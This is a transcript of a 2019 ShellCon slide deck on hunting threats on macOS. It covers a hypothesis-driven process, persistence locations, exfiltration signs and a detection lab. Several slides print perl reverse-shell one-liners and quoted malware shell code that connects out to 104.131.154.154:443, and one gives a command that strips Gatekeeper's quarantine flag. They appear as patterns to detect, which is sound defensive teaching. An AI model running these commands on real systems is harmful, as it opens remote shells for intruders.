Upgrade to Pro — share decks privately, control downloads, hide ads and more …

MacOS Threat Hunting - ShellCon 2019

plug
October 11, 2019

MacOS Threat Hunting - ShellCon 2019

In this talk, I will simplify threat hunting, select a few open source tools, and guide the audience on a methodology to hunt for threats in MacOS.

plug

October 11, 2019
Tweet

More Decks by plug

Other Decks in Technology

Transcript

  1. 3 osquery> select * from logged_in_users ; osquery> select *

    from logged_in_users ; +------+---------+----------+--------+-------------+-------+ | type | user | tty | Role | Passtime | pid | +------+---------+----------+--------+-------------+-------+ | user | Art | console| DFIR | <secret> | 88 | | user | Plug | ttys01 | DFIR | Synths | 133 | +------+---------+----------+--------+-------------+-------+ osquery>
  2. 5 Agenda: • Background for the talk • From observation

    to hypothesis • Laying the foundation: Things to Hunt in macOS • Putting into action: Let’s go Hunt • Final Notes • Questions
  3. What is Hunting... • • It is "the process of

    proactively and iteratively searching through networks to detect and isolate advanced threats that evade existing security solutions." -Wikipedia 7
  4. What is Hunting... • • “Simply put, hunting is the

    act of finding ways for evil to do evil things” -Danny Akacki 8
  5. Hunt Use Cases [What should I hunt] • Previous Incident

    • Threat Intel Data • Adversary Emulation • Research • Red Team • Crown Jewels • Defense Posture Assumptions 9
  6. 14 WHY 05 • PURPOSE • REASON BEHIND THE HUNT

    WHEN 04 • DATE • TIME • DURATION WHERE 03 • THE LOCATION OF ARTIFACTS WE WANT TO HUNT IN THE DATA WHAT 02 • THE ITEM WE WANT TO HUNT WHO 01 • USERNAME/ACCOUNT • HOSTNAME • IP/PORT The Hypothesis
  7. 15 HOW 06 • THE WAY WE ARE GOING TO

    CONDUCT THE HUNT The Hypothesis
  8. 22 Creating Test Cases Do I have the data to

    test the hypothesis? • Who • What • When • Where • Why • How Yes No Idea No Create one!
  9. 23 Creating Test Cases Do I know what to look

    for? • Launch Daemons/Agents • Kernel extensions • Cron Jobs • Gatekeeper and XProtect Bypasses • Abnormal Shell Activity • Browser extensions Yes No Idea No Research!
  10. 24 Creating Test Cases Do I need a test case?

    // Example gscript template // Title: Launch Agent Persistence // Author: ahhh // Purpose: Drop a sample binary and a launch agent plist and persist it using Launch Agent // Gscript version: 1.0.0 // ATT&CK: https://attack.mitre.org/wiki/Technique/T1159 Yes No Idea No Go Hunt ! Create one!
  11. Hunt Process Flow 36 Improve your Defenses Wins: • Less

    Visibility Gaps • Better Data • Better Detections • Metrics that quantify why the hunt program is valuable!
  12. Hunt Process Recap 42 • Data • Hypothesis • Test

    Case • Hunt • Review Findings • Document Findings • Remediate Gaps • Improved Detections • Escalate [If needed] • Repeat
  13. In short 43 • How do I get started? Create

    a Hypothesis and follow a process What should I hunt? Totally up-to you, use hunt cases as basis
  14. macOS Malware • Mami • CrossRAT • CreativeUpdate • Shlayer

    • Dummy • Calisto • AppleJeus • WindTail • ETC….. 45 https://objective-see.com/blog/blog _0x3C.html
  15. Places with great indicators • Launch Daemons • Launch Agents

    • Kernel extensions • Cron Jobs • Browser extensions • Abnormal Shell Activity • Gatekeeper and XProtect Bypasses • Exfiltration 46
  16. Launch (Daemon|Agent)s • .plist (configuration) files ◦ Start, Stop and

    Manage scripts and processes • Launch Daemons ◦ Run without a logged in user. ◦ No GUI interaction. ◦ stored: /System/Library/LaunchDaemons/ & /Library/LaunchDaemons/ 47 Hypothesis: Do we have any outlier Launch (Daemon|Agent)s running in our environment? If yes, what are they and are they needed?
  17. Launch (Daemon|Agent)s • Launch Agents ◦ Associated user must be

    logged in. ◦ GUI interaction. ◦ stored: /System/Library/LaunchAgents : /Library/LaunchAgents. : ~/Library/LaunchAgents folder. • Equivalent to runkeys and services on Windows 48
  18. Kernel extensions 49 • OS X provides a kernel extension

    mechanism as a means of allowing dynamic loading of code into the kernel, without the need to recompile or relink. Because KEXTs provide both modularity and dynamic loadability, they are a natural choice for any relatively self-contained service that requires access to internal kernel interfaces -- [BADNESS!] -- https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/KernelProgramming/Extend/Extend.html • KMs are typically loaded into /lib/modules as extension .ko • Adversaries will check KMs before loading maliciousness to ensure compilation • Monitor for execution of kextload commands ◦ Correlate with known goods. https://attack.mitre.org/techniques/T1215/ Hypothesis: Do we have non standard kext loads in our environment? Are security tools being kext unloaded?
  19. Cron Jobs • /etc/crontab file, /etc/cron.d/ • at • launchd

    ◦ Each launchd job is described by a different (plist) file ◦ Additional Key called: StartCalendarInterval • What is normal in your environment? ◦ Rack and stack -- find the outliers! Hypothesis: What scheduled jobs are running? What is different across the endpoint corpus? 50
  20. Browser extensions • Inventory and monitor browser extension installations that

    deviate from normal, expected, and benign extensions. ◦ Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. • Monitor for any new items written to the Registry or PE files written to disk. ◦ May correlate with browser extension installation. 51 https://attack.mitre.org/techniques/T1176/ Hypothesis: Do we have malicious or unknown browser extensions running?
  21. Abnormal Shell Activity • Odd SSH Commands (ssh -R with

    follow-on external connect?) • Local port forwards • Why are you touching /etc/pam.d/sudo? ◦ SPOILER: TOUCH TO SUDO! (or badness) • Stomping history files • What is that running from /tmp/? • etc 52
  22. Gatekeeper and XProtect Bypasses 53 • When files are downloaded

    from the internet the com.apple.quarantine attribute flag is set. ◦ At program execution this flag will prompt the user to allow or deny execution as the system acknowledges that the file was downloaded from the internet. • Files from external media or network shares do not set this flag! ◦ The Gatekeeper check is now bypassed ◦ hunt for this attribute being removed with ▪ xattr -r -d com.apple.quarantine /path/to/MyApp.app https://attack.mitre.org/techniques/T1144/ Hypothesis: Are Q flags being removed? Is yes, why? courtesy of osxdaily.com
  23. Exfiltration • Mass Directory Compression • Keyword Searching ◦ Pass,pw,password,key,token

    ◦ $mySuperSecretSpecialSauce • Cloud Storage Solutions ◦ Does your AUP allow: ▪ DropBox ▪ iCloud ▪ etc. • Pastebin (etc etc etc) ◦ Monitor uploads • Corporate Mobile Use ◦ Blind (etc etc etc) 54
  24. Huntlab - Host and Network Visibility 57 + = Host

    Level Network Level Hunters Dream!
  25. Huntlab Gscript -@alexlevinson and CCDCRedTeam 58 EvilOsx -Marten4n6 Some malware

    :) Old Fashion Console Apfell - @its_a_feature_ Huge props and thanks to: @1njecti0n
  26. macOS Prompt for Password 63 Event Activity Secrets Collected Hypothesis:

    What OSAScripts do we have visibility into? Any outliers?
  27. macOS Prompt for Password Kibana example of the gs script

    being created and executed! 65 Beware of Legit App Activity
  28. macOS Prompt for Password Kibana example of the gs script

    being created and executed! 66 Beware of Legit App Activity
  29. macOS Prompt for Password Kibana example of the gs script

    being created and executed! 67 Beware of Legit App Activity
  30. Huntlab - Host and Network Visibility 82 + = Host

    Level Network Level Hunters Dream!
  31. Unleash the Owl! - https://molo.ch ~ https://github.com/aol/moloch Moloch is a

    Large scale, open source, indexed packet capture and search tool (FPC). 83 Shout-outs to: Andy Wick & Elyse Rinne & the entire moloch community! Thank you for your continuous contributions to Moloch!
  32. Hunting perl tty/reverse shells 88 • perl -e 'use Socket;$i=""10.0.0.1"";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(""tcp""));if(c

    onnect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"">&S"");open(STDOUT,"">&S"");open(ST DERR,"">&S"");exec(""/bin/sh -i"");};' • perl -e 'exec "/bin/sh";' • perl: exec "/bin/sh"; • perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "x.x.x.x:xx");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''
  33. Hunting perl reverse shells 89 • perl -e 'use Socket;$i=""10.0.0.1"";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(""tcp""));if(c

    onnect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"">&S"");open(STDOUT,"">&S"");open(ST DERR,"">&S"");exec(""/bin/sh -i"");};' • perl -e 'exec "/bin/sh";' • perl: exec "/bin/sh"; • perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "x.x.x.x:xx");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''
  34. Hunting perl reverse shells 90 • perl -e 'use Socket;$i=""10.0.0.1"";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(""tcp""));if(

    connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"">&S"");open(STDOUT,"">&S"");open(ST DERR,"">&S"");exec(""/bin/sh -i"");};' • perl -e 'exec "/bin/sh";' • perl: exec "/bin/sh"; • perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "x.x.x.x:xx");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''
  35. Rotten Pears - Shell Code 93 {"GLOBALS"}["kirihqh"]="str";${${"GLOBALS"}["kir ihqh"]}="use Socket; print

    "started"; $host = "104.131.154.154"; $port = 443; $proto = getprotobyname("tcp") || socket(SERVER, PF_INET, SOCK_STREAM, $proto)
  36. Rotten Pears - Reverse Shell 94 sh -c perl -e

    'use Socket; print "started"; $host = "104.131.154.154"; $port = 443; $proto = getprotobyname("tcp") || exit(); …...snip….print("exec"); exec {"/bin/sh"} "-bash" . "\0" x 4; print("exit"); exit(0); }' > /dev/null 2>/dev/null
  37. Recap 100 • How do I get started? Create a

    hypothesis and follow a process Step1 Step 2 Step 3 Step 4 Step 5
  38. Props: 109 @1njecti0n - Awesome Red Teamer, checkout his blog:

    https://lockboxx.blogspot.com/ The folks and community behind Osquery and Fleet Andy Wick & Elyse Rinne & the entire moloch community! Thank you for your continuous contributions to Moloch! DC562, Reverse Shell Corp (RSC) & Shellcon Community The Awesome Paranoids Team You, thanks for watching! The Paranoids FIRE Team #IRLife